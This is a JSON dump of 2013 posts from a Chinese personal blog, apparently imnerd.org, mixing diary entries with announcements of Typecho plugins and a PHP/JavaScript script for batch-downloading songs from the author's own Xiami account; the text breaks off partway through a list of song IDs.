sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=375954\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e代码高亮里面我个人比较偏爱\u003ca href=\"https://code.google.com/p/google-code-prettify/\"\u003eGoogle Code Prettify\u003c/a\u003e这款，主要是比较喜欢它的样式，而且加载也非常的简单。由于更新了新版本，70大大写的Google Code Pretty插件使用起来就好像有点不太正常了。所以我根据自己的习惯重新写了这款插件，也叫Google Code Pretty，但是版本号升级成了2.0.0，希望不跟大大的重了吧。\u003c/p\u003e","time":1,"title":"代码高亮插件 - GoogleCodePrettify 2.0.0 for typecho 0.9"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"之前在群里头认识了几个小学妹。至于认识的过程吗，反正就是认识了就是，嘿嘿！其中的一个叫蘑菇，下午突然发个Excel表格过来给我让我帮她做题目，说是在考试马上要交了。嘛，本来是想吐槽一下的，不过最后还是无所谓的帮人家做了啦！估计是在考计算机什么的吧，题目就是改改表格颜色字体大小，排序筛选数据做图表什么的，也还算简单就是。就是有点感觉自己的语文一定是体育老师教的，对题目理解完全无力啊！话说需求不用Excel对其技能也生疏了一点，找个功能都找了挺久的。最后一个什么透视图来着还是Google出来的，汗颜！最后给人家发过去啦，蘑菇君一个劲的感谢，哈哈！不过没过一会儿另外一个小学妹（一块认识的，她俩是同学）大石头就过来吐槽我帮蘑菇作弊什么的啦，嘿嘿！\n晚上吃饭的时候木哥的饭卡又意外的不见了，包括这次的话已经是第四次了！这回没经过思考木哥都知道是咋丢的了，肯定是晚上打水又忘在水房了。我们水房之前是拔卡关水的，水龙头是不可以的。换了校园卡系统之后，水龙头可以关水了。然后木哥经常性的关完水龙头就走了，然后就如前面讲的悲剧了=。=。比较让人吐槽的是，居然每次都能从卡务的挂失卡里头找回来，不得不说好人还是挺多的。这个学期就快过去了，不晓得木哥还要丢几次呢，哎，让人吐槽无力的说。\n","count":535,"date":"2013年12月05日","featuredImage":null,"permalink":"https://imnerd.org/ji-neng-dian-hai-you-dai-ti-gao-a.html","summary":"\u003cp\u003e之前在群里头认识了几个小学妹。至于认识的过程吗，反正就是认识了就是，嘿嘿！其中的一个叫蘑菇，下午突然发个Excel表格过来给我让我帮她做题目，说是在考试马上要交了。嘛，本来是想吐槽一下的，不过最后还是无所谓的帮人家做了啦！估计是在考计算机什么的吧，题目就是改改表格颜色字体大小，排序筛选数据做图表什么的，也还算简单就是。就是有点感觉自己的语文一定是体育老师教的，对题目理解完全无力啊！话说需求不用Excel对其技能也生疏了一点，找个功能都找了挺久的。最后一个什么透视图来着还是Google出来的，汗颜！最后给人家发过去啦，蘑菇君一个劲的感谢，哈哈！不过没过一会儿另外一个小学妹（一块认识的，她俩是同学）大石头就过来吐槽我帮蘑菇作弊什么的啦，嘿嘿！\u003c/p\u003e","time":2,"title":"技能点还有待提高啊！"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"虽然从工作室回来的比较晚，不过为了坚持写日志，还是果断开机更新来了。\n今天早上就是一个杯具的开始，5:30被宿舍王哥的呼噜声弄醒了，史无前例的头一遭。瞬间整个人的心情就不好了有木有！既然没心情睡觉的话索性就看小说吧，于是一口气把GGO下篇给干掉了。嘛，总的来说还是不错的啦，除了主角桐人在中篇才出现这种坑爹的剧社以及隐隐感觉各种剧情拐弯都有点不正常这两种情况外，一切都还算OK啦。之后继续争取把下面的几篇也搞定吧！\n早上顺带想订羽毛球场，结果意外的发现只能订今明后三天的，礼拜五的订不了了呢。不过丫昨天晚上就跟我说了礼拜四没有场了，这又是什么情况？！\n晚上去丁丁洋吃自助火锅去了。团购的券是很早就团了的，一直没出来吃是因为没找到合适的时间，要人都在而且店里头人不多的时候有时候还真是挺不容易的。丁丁洋的自助跟我在日本动漫中看到的日本自助好像是差不多，也是流水线传递食物，之前在《现视研》里头看到过一回。里头的东西不是很好吃，不过一想到这种形式就回忆起看过的动漫也别有一番趣味。尝鲜的吃一次还OK啦，不过下回肯定是不会再去了呢。\n","count":460,"date":"2013年12月04日","featuredImage":null,"permalink":"https://imnerd.org/chi-huo-jun-de-ri-chang.html","summary":"\u003cp\u003e虽然从工作室回来的比较晚，不过为了坚持写日志，还是果断开机更新来了。\u003c/p\u003e\n\u003cp\u003e今天早上就是一个杯具的开始，5:30被宿舍王哥的呼噜声弄醒了，史无前例的头一遭。瞬间整个人的心情就不好了有木有！既然没心情睡觉的话索性就看小说吧，于是一口气把GGO下篇给干掉了。嘛，总的来说还是不错的啦，除了主角桐人在中篇才出现这种坑爹的剧社以及隐隐感觉各种剧情拐弯都有点不正常这两种情况外，一切都还算OK啦。之后继续争取把下面的几篇也搞定吧！\u003c/p\u003e","time":1,"title":"吃货君的日常"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"早上起来就打算好要订羽毛球场的，结果比较悲剧的是看代码然后错过最佳时间了。然后是一直都打不通的状态，等我能打通的时候已然是预订满了，比较悲剧啊！这个礼拜算来就没办法了，只能等下个礼拜了。\n前两天有人在v2ex上发帖子问PHP有什么比较好的静态博客程序，我就在回帖中稍微自荐了一下自己之前写的PMBlog。本来以为没有什么人会关注的（因为之前有在v2ex上特别发帖宣传过），结果意外的收到了几个表扬和赞，这让我非常开心。为了表达我这份心意，我对每一位赞的同学都送上了我真心的感谢。\n昨天答应了书记要出场今天晚上的优秀书记答辩的听众的，结果快到点的时候居然完全忘了有这么一回事。要不是书记发短信给木哥，我真心是什么都不记得了呢。总共有十六位书记参加了答辩吧，比较想吐槽的就是男女比例非常不均衡啊。女书记什么的简直太多了，而且各个都属于那种丧心病狂的强悍！另外，第一个答辩的妹子挺漂亮的说，其它的嘛，哼哼！书记意外的是最后一个上场的，不过凭借着他多年的励志演讲（没错，他的爱好比较特别）的经验这场答辩完全不在他话下啊，毫无压力的说。在这里预祝咱书记能如期评上吧！\n","count":476,"date":"2013年12月04日","featuredImage":null,"permalink":"https://imnerd.org/you-mei-ding-dao-yu-mao-qiu-chang.html","summary":"\u003cp\u003e早上起来就打算好要订羽毛球场的，结果比较悲剧的是看代码然后错过最佳时间了。然后是一直都打不通的状态，等我能打通的时候已然是预订满了，比较悲剧啊！这个礼拜算来就没办法了，只能等下个礼拜了。\u003c/p\u003e","time":1,"title":"又没订到羽毛球场"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":" 前两天看了某大大写的文章，说要勤写日记，就用流水账的格式就可以了。然后我就很开心了，因为不管是哪里我写的东西都非常的流水账呢。从初中一直骂道高中的流水账格式终于在这里被\u0026quot;正身\u0026quot;了，我鼓起了一股莫名的动力开始我的勤更生涯（不知道能撑到下一个\u0026quot;加油站\u0026quot;么)。\n昨天晚上小董拿他电脑过来给我折腾，让我解决下发热问题。我就帮他把电脑拆了清清灰重新涂了一下硅脂。这里要吐槽一下三星和戴尔的电脑，设计的一点都不合理，就拆风扇这么小的事情，非得整的要拆个机器才行么？！顺带表扬一下联想，在这方面就做的很人性化。嘛，这是题外话，回到拆机正题上。本来一路顺风，连螺丝都没有多出来的情况，应该是没什么事情发生的。结果天有不测风云，不知道怎么搞的开不了机了，看了下显示屏没亮，我开始以为是显示屏的插头没插好，又拆了一遍发现正常，然后外接显示器发现也还是不亮，证明不是显示屏的原因。拆开来看了半天也没看出来哪里有问题，没办法只能非常沮丧的给他装好让他明天拿店里头去看看咯。结果今天打电话过来说是有根线没装好，人家再拆了一次就正常了，不过散热的问题还是没有解决就是。哎，果然还是咱技术没到家么？\n今天早上生活中再一次没有了上午，窝床上看《薄樱鬼》了。花了几天的时间把它给看了一遍，总结来说就是有点受不了，揪心的很。跟平常热血励志剧不同，讲的是一群守旧派的朋友在历史的潮流抛弃并一个个战死的故事。天人永诀这种题材是最让我受不了的了，特别是一群有着羁绊的人们，为了自己的理想，犹如鲤跃龙门般的努力着，但最终却无力回天，惨死异地。最后活下来的人们也是凄凄惨惨戚戚，让人唏嘘不已。\n吃完午饭就去办公室了，刚坐下没一会儿之前让我帮忙指导MapGIS的一个师姐（我师兄的同学）就发来SOS求救信号了。说是放大缩小没搞好，结果搞得不同文件的大小不一样了。电话里头她还挺急的（别人画了一个多礼拜的图呢，能不急么），然后电话指导没搞定被叫去她们单位亲自去处理去了。她们单位在奥体委，离我们这也还算近就是。过去看了下还真是挺头疼的，连七八糟的啥都改了。不过好在咱也不是吃素的，虽然花了点时间，不过也总算是解决了就是。\n有时候感觉帮助别人解决问题（当然要解决了问题了）还真是一件挺快乐的事情啊！不过谁又说不是呢！嘿嘿！\n","count":951,"date":"2013年12月02日","featuredImage":null,"permalink":"https://imnerd.org/fake-otaku.html","summary":"\u003ciframe src=\"http://imnerd.org/lab/search/show.html#1769672164\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003e前两天看了某大大写的文章，说要勤写日记，就用流水账的格式就可以了。然后我就很开心了，因为不管是哪里我写的东西都非常的流水账呢。从初中一直骂道高中的流水账格式终于在这里被\u0026quot;正身\u0026quot;了，我鼓起了一股莫名的动力开始我的勤更生涯（不知道能撑到下一个\u0026quot;加油站\u0026quot;么)。\u003c/p\u003e","time":2,"title":"“伪”技术宅的生活"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"今天出来吃晚饭，结果傻啦吧唧的把工作室的电脑给关机了。关完了才发现怎么就给关了，囧！感觉冥冥中老天要让我回寝室的感觉~ 回来也没啥事干，就更新下博客吧，哈哈！\n起这个标题的原因是昨天晚上我们寝室的俩人闹起来了，就因为一点鸡毛蒜皮的事情。现在想来，那个可能并不是真正的原因，应该算会导火索吧。两人本来就各自看不惯对方，爆发这种事情也算是正常的。\n这件事给我的教育就是：\n不是每个人都是十全十美的，总有你看不起的人，也总有看不起你的人。\n少说话特别是少说贱话。吵架很正常，吵的让人下不来台这种事情还是要少做的好。\n退一步海阔天空，让三分心平气和。\n人是群居动物，生活在一群人中就要注意下自己对别人的影响，不要太自以为是！\n其实感觉两人打一架挑明了也挺好，发泄发泄什么的对他们可能更有帮助。不过让我忍受不了的是，你丫的打完架能不能来善后啊，破了个水壶水流的满地都是也全当不是你的事啊？就这点我就觉得你丫不对！哼！\n","count":395,"date":"2013年11月29日","featuredImage":null,"permalink":"https://imnerd.org/say-much-permission-denied.html","summary":"\u003cp\u003e今天出来吃晚饭，结果傻啦吧唧的把工作室的电脑给关机了。关完了才发现怎么就给关了，囧！感觉冥冥中老天要让我回寝室的感觉~ 回来也没啥事干，就更新下博客吧，哈哈！\u003c/p\u003e","time":1,"title":"言多必失，切勿嘴贱"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":"Typecho升级到0.9改用Markdown作为编辑器是一件令人高兴的事情。但是有些事情总是不能两全其美，一部分人正在高兴的同时，也有一小撮同志在埋怨Markdown编辑器怎么怎么不好用，怎么怎么难用，怎么怎么多的BUG。介于官方众口难调的情况，我就答应论坛的@sujianlin 做了这款插件。\n插件的作用插件名字已经表达的非常明白了：让编辑器回归原始。说白了就是去除了0.9版的Markdown编辑器（包括后台的编辑器和前台网页的解析），回到0.8以前的HTML MODEL。插件没有多做测试，如果有问题的话请及时反馈。\n最后说一句，我爱Markdown，你们根本不知道Markdown配上快捷键是有多么的好用！以上！\ntoc: true authors: [\u0026rsquo;lizheming'] 本插件紧急升级至1.0.1版，修复插件无法安装的问题。实践告诉我们，千万别手贱啊！\n下载地址：BOX | 百度云\n","count":365,"date":"2013年11月16日","featuredImage":null,"permalink":"https://imnerd.org/originaleditor-plugin-for-typecho.html","summary":"\u003cp\u003eTypecho升级到0.9改用Markdown作为编辑器是一件令人高兴的事情。但是有些事情总是不能两全其美，一部分人正在高兴的同时，也有一小撮同志在埋怨Markdown编辑器怎么怎么不好用，怎么怎么难用，怎么怎么多的BUG。介于官方众口难调的情况，我就答应论坛的@sujianlin 做了这款插件。\u003c/p\u003e","time":1,"title":"OriginalEditor 1.0.1 for Typecho 0.9 - 让Typecho回归HTML模式"},{"comments":{"data":[20],"errmsg":"","errno":0},"contents":"简单的来说这就是一款Markdown编辑器，和官方自带默认的不同的是有些功能上的优化，我总结为以下几个：\n自带类可视化编辑（输入标记符后能实时渲染） 标记符输入半自动化（列表标记符输入一个之后下面的会自动生成，代码块下一行会在上一行的Tab处起始） 支持多行选中后按Tab（对于粘贴代码的人来说真是非常需要） 基于以上原因，我就顺手把它移植了过来，感觉非常不错的说。当然优点还有很多，我只是列举了几个我比较喜欢的。如果有喜欢的同学可以到这里在线测试一下：Editor在线编辑器\n插件紧急更新至1.0.1版，修复插件页面无法找到插件的问题。\n插件更新至1.0.2版，修复编辑器在Firefox浏览器下图标显示不正常的问题。\n下载地址：BOX | 百度云（提取码: 2awd）\n","count":326,"date":"2013年11月15日","featuredImage":null,"permalink":"https://imnerd.org/editor-plugin-for-typecho.html","summary":"\u003cp\u003e简单的来说这就是一款Markdown编辑器，和官方自带默认的不同的是有些功能上的优化，我总结为以下几个：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e自带类可视化编辑（输入标记符后能实时渲染）\u003c/li\u003e\n\u003cli\u003e标记符输入半自动化（列表标记符输入一个之后下面的会自动生成，代码块下一行会在上一行的Tab处起始）\u003c/li\u003e\n\u003cli\u003e支持多行选中后按Tab（对于粘贴代码的人来说真是非常需要）\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e基于以上原因，我就顺手把它移植了过来，感觉非常不错的说。当然优点还有很多，我只是列举了几个我比较喜欢的。如果有喜欢的同学可以到这里在线测试一下：\u003ca href=\"http://lab.lepture.com/editor/\"\u003eEditor在线编辑器\u003c/a\u003e\u003c/p\u003e","time":1,"title":"Editor 1.0.2 for Typecho 0.9 - 非官方Markdown编辑器"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"Typecho默认的预览是在编辑器文本框的下面，这对实时预览来说是比较糟糕的一件事，我想应该没人写一句就往下拉过去看下吧。以这个为需求，LREditor插件就这么诞生了。\n插件的作用是将原生的上编辑下预览结构改成左编辑右预览，同时插件只对原生的Markdown编辑器有效，如果装了其它编辑器的话不保证不会出问题。如果有什么问题可以在下面留言\n插件更新至0.0.2版，增加预览框代码高亮功能\n插件更新至0.0.3版，修改代码高亮样式，使得书写文章时更协调。\n插件更新至0.0.4版，修复无法启用插件的问题，同时修改样式以适应Typecho的新版本。\n下面放一张预览图\n下载地址：Box | 百度云\n","count":289,"date":"2013年11月08日","featuredImage":null,"permalink":"https://imnerd.org/lreditor-plugin-for-typecho.html","summary":"\u003cp\u003eTypecho默认的预览是在编辑器文本框的下面，这对实时预览来说是比较糟糕的一件事，我想应该没人写一句就往下拉过去看下吧。以这个为需求，LREditor插件就这么诞生了。\u003c/p\u003e","time":1,"title":"Markdown编辑器左右编辑插件 - LREditor 0.0.4 For Typecho 0.9"},{"comments":{"data":[125],"errmsg":"","errno":0},"contents":"曾经大家以为Typecho还会蓬勃发展的时候，它停下了脚步；现在大家以为Typecho必然行之将死的时候，它居然更新了！是的，在半个月前，历时几年后Typecho终于发布了新版。虽然只是小小的0.1，但是这是一个契机，之后Typecho开始了疯狂的更新，Github上也开始活跃了起来。不管怎么说，这是一件值得令人高兴的事情。\n新版最重要的一个功能就是把Markdown编辑器给加上去了，而且样式上都有比较大的变化，所以我的XiaMiPlayer插件对于新版也出现了一点问题。在前几个版本Typecho终于恢复了文章/页面编辑页面上的插件接口之后，我就立马做了一下优化。目前这个版本应该能比较完美的支持Typecho 0.9了。\n目前的版本号是3.0.1，算是Alpha版吧。如果大家有什么意见建议的话请留言。以后的打算是这样的，基数版本号（3.x）对应新版，偶数版本号（2.x）对应老版本，想要下载老版本的可以在这里下载：XiaMiPlayer插件 for typecho 0.8。\n本插件更新至3.0.2版，增强了插件与Typecho后台的兼容性（推荐使用默认Markdown编辑器效果会更好），并增加了多个快捷键。\n快捷键一览：\nCtrl + Shift + M ：进入插件\rEsc ：退出插件\rCtrl + ← ：虾米搜索\rCtrl + → ：输入链接\rCtrl + ↑ ：上一页\rCtrl + ↓ ：下一页\rCtrl + Enter : 搜索\rCtrl + [1-8] ：插入相应行的歌曲\r本插件紧急更新至3.0.3版，修复了搜索结果页码不重置的问题，同时为搜索结果增加数字提示以方便使用快捷键。\n本插件更新至3.0.4版，增加了对非默认Markdown编辑器的支持，更新播放器代码，设置为默认不自动加载歌曲文件，减少页面加载时间。\n本插件更新至3.0.5版，修复了自定义歌曲地址不支持自定义配色的BUG。\n本插件更新至3.0.6版，修复了之前版本播放器的一些样式问题。增加了添加列表播放器的功能（暂时还没有简洁好看的播放器样式，所以还是先用了官方的Flash播放器，所以只支持虾米搜索添加，直链添加会在之后的版本中支持）。选择了列表模式之后添加的歌曲会进入列表中，上下拖拽列表歌曲可以对歌曲进行排序，左右拖拽至外侧可删除歌曲。新功能写的比较仓促没做过多的测试，欢迎反馈意见。\n本插件更新至3.0.7版，更改音乐的插入方式（由iframe替换为script）。列表播放支持自定义地址。代码改动较大，为了兼容老版本没有将一些废弃文件去除掉，想要研究代码的可以进插件内查看。\n本插件更新至3.0.8版，修复了音乐搜索不可用的问题\n本插件更新至3.0.9，修复了一些小BUG，增加直接解析文章内以http://开头的虾米链接插入歌曲、专辑、精选集功能。例如在文章中直接插入“http:// www.xiami.com/album/435293“（请自行去除空格）即可插入该专辑的所有音乐，同时支持Markdown模式和非Markdown模式。\rhttp://www.xiami.com/album/435293\n本插件更新至3.1.0，修改插件内以相对协议加载相关文件，防止https阻止非https的资源加载。同时修改播放器的class名称防止与主题自带样式冲突。\n插件更新至3.1.1，主要是修改了接口地址，另外修改了一个多歌曲时无法切换的 BUG。之前的服务放在 SAE 上由于 SAE 开始收费遂切换到另外一个免费服务提供商。由于该服务商未提供 SSL 服务所以对于 https 用户只能抱歉。如果需要替换之前已经发布的歌曲链接可以在数据库中执行以下命令进行批量替换：\nUPDATE `typecho_contents` SET `text` = REPLACE(`text`, 'songs.sinaapp.com', 'xiamiplayer.songs.ali-sh.goodrain.net:10080')\r插件更新至 3.1.2，还是修改接口地址，求个国内主机啊卧槽 T_T 下载地址：百度云 | 微盘 ","count":1443,"date":"2013年11月07日","featuredImage":null,"permalink":"https://imnerd.org/xiamiplayer-plugin-for-typecho-0-9.html","summary":"\u003cp\u003e曾经大家以为Typecho还会蓬勃发展的时候，它停下了脚步；现在大家以为Typecho必然行之将死的时候，它居然更新了！是的，在半个月前，历时几年后\u003ca href=\"http://typecho.org/archives/71/\"\u003eTypecho终于发布了新版\u003c/a\u003e。虽然只是小小的0.1，但是这是一个契机，之后Typecho开始了疯狂的更新，\u003ca href=\"https://github.com/typecho/typecho-replica\"\u003eGithub\u003c/a\u003e上也开始活跃了起来。不管怎么说，这是一件值得令人高兴的事情。\u003c/p\u003e","time":3,"title":"XiaMiPlayer插件 for typecho 0.9（更新至3.1.2）"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"从很早之前开始就一直比较喜欢Github Shop上的这款马克杯，奈何要从国外运过来而且杯子这种易碎品真的会很杯具，所以就迟迟没入。前几天在v2ex上看到有人卖这款马克杯，表示非常惊讶。因为这款马克杯基本上还算是比较好看比较翘的（从Github Shop上长期的Out of Stock可以看的出来），v2ex上转卖的马克杯也基本上不会有这个款的，所以特别的惊讶也挺高兴的。也没怎么顾价钱就入了一个（现在看着这价钱还是有点小小的心疼呢%\u0026gt;_\u0026lt;%）。\n今天拿到杯子之后，第一反应就是：还真是意外的大啊！我用装水容量实际测试了一下，Octocat Mug装一杯的水倒入我的一个500ML的宜加美的随身杯差不多正好。可想而知杯子是有多大了！\n话说今天因为这个杯子意外的喝了特别多的水呢，呵呵！\n","count":341,"date":"2013年10月30日","featuredImage":null,"permalink":"https://imnerd.org/octocat-mug-cup.html","summary":"\u003cp\u003e从很早之前开始就一直比较喜欢Github Shop上的这款马克杯，奈何要从国外运过来而且杯子这种易碎品真的会很杯具，所以就迟迟没入。前几天在v2ex上看到\u003ca href=\"https://www.v2ex.com/t/87165\"\u003e有人卖这款马克杯\u003c/a\u003e，表示非常惊讶。因为这款马克杯基本上还算是比较好看比较翘的（从Github Shop上长期的Out of Stock可以看的出来），v2ex上转卖的马克杯也基本上不会有这个款的，所以特别的惊讶也挺高兴的。也没怎么顾价钱就入了一个（现在看着这价钱还是有点小小的心疼呢%\u0026gt;_\u0026lt;%）。\u003c/p\u003e","time":1,"title":"Octocat Mug杯子"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"首先要谢天谢地，还好我的博客没有点赞系统。不过这事其实是几天前发生的，目前硬盘君表示在我的\u0026quot;妙手神医\u0026quot;下，已经可以苟延残喘的继续工作了，所以大家不要太高兴哈！\n这事情还得从前一天晚上在@sunshy 的怂恿下三卸三装“百度云同步”开始说起。（没错，我也开始可耻的安装百度的东西了！太堕落了！摔！！）之前一直用的是BOX的同步，但是好像它们家的上传速度略为不给力，我30G左右的文件同步了一个月也没给我同步上去，汗！最近不是网盘扩容风盛行么，百度的好像还可以的样子，就试了试。但是我们发现百度的同步盘好像不能设置与百度网盘的某文件夹同步，只能在根目录。在三卸三装也无果之后我终于开辟了新大陆——开小号！当我准备好账号，准备高兴的开始我的第四次安装计划的时候，出现了如下提示。\n啊擦咧！这是要闹哪样啊！当时正值夜黑风高的时候，就想着明天来搞吧。结果第二天我开机的时候悲剧就这么发生了：\n擦！我狂躁了！E盘可是我的资料盘啊！各种重要文件都在里头啊！最最重要的是，画了一个月的图也在里头啊！！某君开始内心翻腾了，但是某君不能表现出来，某君要淡定！淡定！淡定！淡定你妹啊擦！完全淡定不下来好么！\n根据双击提示的“文件或目录损坏且无法读取”搜索了一下得知是分区表损坏了。在用了各种版本的EasyRecovery（网上的版本太杂了）恢复无果之后，felix021大大提示了我一下用DiskGenius，表示效果还不错。然后我就在官方发现了如下描述\n瞬间某君虎躯一震，感觉血槽满血20%了有木有！症状是一样一样的啊！然后我就开始了DiskGenius的恢复之路，等其查找完文件后发现，未注册版只能搜索，不能恢复文件。450元注册费哟亲！=口=，闹呢！！虽然当时我的确有一股“这么贴心强大的软件咱就狠一次心买吧！”但是！但是！但是！巨大的金钱鸭梨让我手贱的去搜索了一下破解版。然后..然后..还真给我搜到了=口=\u0026hellip;..感觉有点讽刺呢！结果又等了许久软件重新扫描，一个一个的拷贝出来，尊是辛苦你了，DiskGenius君%\u0026gt;_\u0026lt;%！\n其实DiskGenius尊心不错，奈何价钱太贵，要是有团购的话我肯定就买了！当然，这不能成为我用盗版的借口就是了，小孩子不要乱学哟！\n","count":939,"date":"2013年09月05日","featuredImage":null,"permalink":"https://imnerd.org/disk-down.html","summary":"\u003cp\u003e首先要谢天谢地，还好我的博客没有点赞系统。不过这事其实是几天前发生的，目前硬盘君表示在我的\u0026quot;妙手神医\u0026quot;下，已经可以苟延残喘的继续工作了，所以大家不要太高兴哈！\u003c/p\u003e","time":2,"title":"某无良硬盘君又挂掉了!"},{"comments":{"data":[24],"errmsg":"","errno":0},"contents":"前言 呵呵，没错，公子我又再次光荣的把硬盘搞挂了，然后音乐又没了！鉴于之前已经有过一次经验（批量下载虾米已下载歌曲），所以本以为这次也会轻而易举了的。没想到居然在我写出那篇日志后没多久，官方居然各种更新（更新页面，下载机制，Flash播放器），然后我那篇日志的方法就没法用了。不过官方这个也都是小改，所以我也只要小改下代码就成啦！哈哈！\n有什么变化 首先要说的是虾米官方的下载思路还是没变的，基本上还是之前日志里头说的那样：\n在网站点击下载之后，网站向你的账户中未下载列表传递下载歌曲信息，之后未下载列表则返回一个以emoun://特有协议开头的文件，用以打开虾歌（这个和迅雷thunder://以及电骡等的ed2k://是一个道理）。虾歌打开后查询未下载的表单，返回表单中的歌曲，然后下载。同时将未下载列表中的歌曲提交到已下载列表中，并在未下载列表中删除。 - 批量下载虾米已下载歌曲\n官方改变的就是下载列表和网站点击下载这两步：\n下载列表 老版的是直接显示列表显示每首歌的，新版则是按照下载时间来显示，一次下载为一次订单，订单内再显示此次下载的歌曲。这样正则匹配获取歌曲的ID就需要发生变化了。\n点击下载提交订单 以前只要登录后向服务器POST歌曲的ID就能提交订单了。新版则需要提交sign和_xiamitoken这两个新参数，三个参数一块POST才行。sign参数暂时还不知道如何算出来的，_xiamitoken则是你的cookies。看源码意外的让我发现了参数居然都直接写在页面里头了，为了简便，我就直接抓取订单页面正则获取这两个参数了。同时还加了判断Referer这种老手段，这个也不算难。\nVIP机制 以前是没有VIP的，自从被阿里收购之后就增加了VIP功能。好在现在可以用体验点（以前的红包)购买VIP，15个体验点可以买一个月的VIP，一个月的VIP能免费下100首歌曲。我的歌曲数在400+，花了80个体验店办了半年的，可以免费下600首歌曲。等于用80个体验店下600首歌的意思，变相的节省了下体验点，哈哈！\n解题步骤 一、获取登录COOKIES 这一步和老版还是一样的，直接复制过来吧。\n获取登录后的COOKIES文件，方便之后的抓取工作。修改代码中的第2行和第3行，填入自己的账号和密码。如果成功的话，会在该文件的同级目录下得到一个cookies.txt文件。\n\u0026lt;?php $name = \u0026#39;\u0026#39;; //输入你的账号 $password = \u0026#39;\u0026#39;; //输入你的密码 $curl_post = \u0026#39;email=\u0026#39;.$name.\u0026#39;\u0026amp;amp;password=\u0026#39;.$password.\u0026#39;\u0026amp;amp;done=/\u0026amp;amp;submit=登 录\u0026#39;; $cookie_file = dirname(__FILE__).\u0026#39;/cookie.txt\u0026#39;; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, \u0026amp;quot;http://www.xiami.com/member/login\u0026amp;quot;); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $curl_post); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_file); curl_exec($curl); curl_close($curl); ?\u0026gt; 二、抓取下载列表并提交到未下载列表 这一步因为列表的改变有些许变化。而且新版订单还有个新订单和旧订单之分，真是蛋疼，还得做两次解析。\n\u0026lt;?php set_time_limit(0); //设置成不限制页面运行时间 function get($url) { $cookie_file = dirname(__FILE__).\u0026#39;/cookie.txt\u0026#39;; $curl = curl_init($url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookie_file); $data = curl_exec($curl); curl_close($curl); return $data; } $song = array(); $pageinfo = get(\u0026#39;http://www.xiami.com/account/myorders-old\u0026#39;); $preg = \u0026#39;/\\…\\\u0026lt;\\/a\\\u0026gt;\\\u0026lt;a href\\=\\\u0026#34;\\/account\\/myorders-old\\/page\\/(.*?)\\\u0026#34; class\\=\\\u0026#34;p\\_num\\\u0026#34;\u0026gt;/s\u0026#39;; preg_match_all($preg, $pageinfo, $match); $page = $match[1][0]; for($i=1;$i\u0026lt;$page;$i++) { $data = get(\u0026#34;http://www.xiami.com/account/myorders-old/page/\u0026#34;.$i); $preg = \u0026#39;/\\\u0026lt;td class\\=\\\u0026#34;iname\\\u0026#34;\\\u0026gt;\\\u0026lt;a href\\=\\\u0026#34;\\/song\\/(.*?)\\\u0026#34;/s\u0026#39;; preg_match_all($preg, $data, $match); foreach($match[1] as $item) $song[] = $item; } $pageinfo = get(\u0026#39;http://www.xiami.com/account/myorders\u0026#39;); $preg = \u0026#39;/\\…\\\u0026lt;\\/a\\\u0026gt;\\\u0026lt;a href\\=\\\u0026#34;\\/account\\/myorders\\/page\\/(.*?)\\\u0026#34; class\\=\\\u0026#34;p\\_num\\\u0026#34;\u0026gt;/s\u0026#39;; preg_match_all($preg, $pageinfo, $match); $page = $match[1][0]; for($i=1;$i\u0026lt;$page;$i++) { $data = get(\u0026#34;http://www.xiami.com/account/myorders-old/page/\u0026#34;.$i); $preg = \u0026#39;/\\\u0026lt;td class\\=\\\u0026#34;iname\\\u0026#34;\\\u0026gt;\\\u0026lt;a href\\=\\\u0026#34;\\/song\\/(.*?)\\\u0026#34;/s\u0026#39;; preg_match_all($preg, $data, $match); foreach($match[1] as $item) $song[] = $item; } $song = array_unique($song, SORT_NUMERIC); echo \u0026#39;var song = new Array(\u0026#39;.implode(\u0026#39;,\u0026#39;, $song).\u0026#39;)\u0026#39;; ?\u0026gt; 批量提交下载歌曲 我之前也讲了，新版新增sign和_xiamitoken两个参数，同时还增加了Referer验证。整体代码还是采用上版中的PHP+AJAX异步提交，只是在PHP部分有稍许修改。\n将上一步得到的代码复制替换掉相同的那部分，保存为download.html\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; //将第二步获得的代码复制到下面 var song = new Array(1769629171,3338870,1769902385,1770432131,2868586,1770149760,367633,1769832130,35526,1769962750,1770551145,1770457081,3486103,1769400110,127903,3367334,2078855,71830,376007,376015,2074918,2730,1770450144,3455520,79157,79151,81366,65256,390070,2138604,1770345727,376050,376006,149193,388168,1769665592,3497062,1769236069,3632104,1768923954,1769491757,3608275,2092882,1770354410,3480460,3620143,2095376,2561774,3664677,1770462404,1769056924,3527076,2126340,2089410,1769177482,2083322,1769831952,1769316186,1770524409,1769517803,1190507,1964547,1769107542,3486203,1769686818,1769028326,1858814,2084011,1769235816,1770614545,2083187,2605276,378268,2515019,1122167,1769176497,3302053,2083102,3638520,189072,371017,1770168732,1083760,2122948,2070331,2128868,3319126,2561592,1381654,3441719,1768939471,2091290,2098665,2067235,1770060224,3562953,54342,1769831786,1770145312,76323,2067242,173117,136054,1770068043,1769833104,1769833105,1769833106,1769833107,1769833108,2082305,1768989931,1769356638,1769082273,1769776879,1769740304,1205851,1768984809,1769102373,1769740095,1768989928,1769381931,1769227674,3599015,1768962602,3463177,1769381938,1769381935,1769381934,1769381932,3410377,2067242,3381901,3381903,373969,2072395,373971,373990,374039,3381910,3381911,3381912,382134,378711,193010,162269,143775,127673,120041,89443,52732,382512,383210,1769274527,1769004670,1768958960,3599311,3365855,2314